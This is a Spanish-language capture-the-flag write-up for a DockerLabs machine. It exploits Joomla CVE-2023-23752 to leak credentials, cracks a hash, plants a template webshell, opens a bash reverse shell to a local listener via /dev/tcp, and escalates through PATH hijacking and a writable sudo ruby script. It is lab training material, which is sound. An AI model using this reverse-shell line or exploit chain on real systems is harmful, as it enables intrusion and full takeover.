Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Realizamos el escaneo de la dirección IP y podemos observar que tenemos 3 puertos.
Al ingresar a la dirección IP desde el navegador solo observamos la página default de apache2
.
Realizando un escaneo de subdirectorio podemos observar que tenemos uno llamado WordPress.
Ingresamos al directorio y al desplegar el navbar
tenemos un login que es lo que llama más la atención.
Realizamos el escaneo del subdirectorio de wordpress
y observamos las siguientes carpetas.
De todos seleccionamos administrator
y observamos que es un login para Joomla.
Como no se puede observar la versión de Joomla encontramos que un foro hablan donde poder encontrar https://forum.joomla.org/viewtopic.php?t=911138. Nos dirigimos a ella podemos observar que es la versión 4.0.3
.
Buscando exploits para esta versión podemos ver varios y el que se repite es el cve-2023-23752
.
En la página de Joomla vemos una breve descripción y tenemos una idea de como usarlo.
Podemos ver una explicación de como explotar la vulnerabilidad https://vulncheck.com/blog/joomla-for-rce.
Revisando la página notamos que realizan un curl.
Pero podemos hacer la consulta directa en el URL y el resultado se vería mucho más legible.
http://172.17.0.2/wordpress/api/index.php/v1/config/application?public=true
Luego de ello podemos observar que tenemos bastantes datos, entre ellos un usuario y un password.
joomla_user:vuln
Ingresamos las credenciales en el login de joomla!
, pero no son correctas.
Revisando notamos que en la parte superior indica mysql
.
Probamos conectarnos por MySQL y observamos que sí podemos acceder.
Listamos las bases de datos y no tenemos otra interesante aparte de la joomla_db
.
Listamos las tablas y podemos ver posibles tablas que nos pueden ser útiles.
Listamos los usuarios y podemos observar que tenemos un usuario.
firstatack:$2y$10$UVmUci/wKgu7LFir7KIzP.NDup3lYDUxPzz7WZryvEYVdUjUVhou.
firstatack@dockerlabs.es
Como obtuvimos el hash, creamos un archivo con este y usando john
podemos observar la credencial.
Probamos las credenciales en joomla!
Estamos dentro.
Modificaremos un template
para incluir un webshell. Para ello vamos system
y seleccionamos site templates
.
Observamos que el único que tenemos es cassiopea
.
Al seleccionar podemos ver lo siguiente.
Seleccionamos el archivo de error.php
y agregamos un código en PHP para probar si podemos ver el contenido.
Después de guardar los cambios vamos a una página que no existe podremos ver que se ejecuta el comando.
Ya que sabemos que se ejecutan y donde agregaremos una pequeña shell.
En la misma página donde observamos el comando agregamos el parámetro y podemos observar que podemos ejecutar comandos.
Debemos obtener un shell y para ello enviamos la bash pero URL-encodeada para no tener problemas.
bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
Antes de enviar la consulta iniciamos nuestro listner
.
Enviamos la petición y podemos observar que ya tenemos acceso.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Una vez dentro realizamos un sudo -l
y podemos observar que no tenemos el password.
Listando los archivos del directorio home notamos que tenemos 2 usuarios y guadalupe
tiene una carpeta interesante con el nombre de -
.
Debemos salir de la carpeta guadalupe
para poder acceder sin problemas, ya que la carpeta tiene un guion. Cuando ingresamos a esa carpeta podemos observar que hay un archivo llamado passwd
si abrimos parece estar en base 64.
Tratamos de leerlo, pero notamos que es un archivo de .txt
.
La manera más práctica es usando CyberChef luego de pegar el texto observamos que nos genera un archivo pass.tx
. El cual descargaremos.
Leemos el archivo y no indica un password y, ya que estaba en la carpeta podemos imaginar que es de ese usuario.
guadalupe:sheena
Probamos la credencial con el usuario y ya estamos como guadalupe
Realizamos un sudo -l
y podemos observar que para elevar como ignacio
debemos hacer uso de un archivo llamado scr1pt
.
Tratamos de leer el archivo, pero no podemos, y si listamos el archivo notamos lo siguiente.
Como observamos que no encuentra un archivo llamado ls
podemos aprovecharnos de este y hacer que nos genere una bash con el usuario ignacio
. Si vamos al directorio no observamos ninguno aparte de uno llamado hola
que fue creado por guadalupe
.
Creamos un archivo llamado ls
y dentro insertamos un comando que nos genere una bash.
Ejecutamos el archivo scr1pt
y podemos observar que ya somos ignacio
.
En el directorio de ignacio
listamos los archivos, pero no observamos nada, por ello si realizamos un sudo -l
podemos ver que para elevar como root podemos hacer uso de ruby
y un archivo llamado saludo.rb
Ejecutamos el archivo y notamos que es un mensaje de ánimos. Notamos que podemos leer el archivo tratamos de ver los permisos y nos pertenece. Así que podemos modificarlo para ser root.
Para obtener una shell solo agregaremos el comando exec "/bin/bash"
en el archivo saludos.rb
Ahora lo único que debemos hacer es ejecutar el comando y ya somos root. De esta manera culminando esta máquina.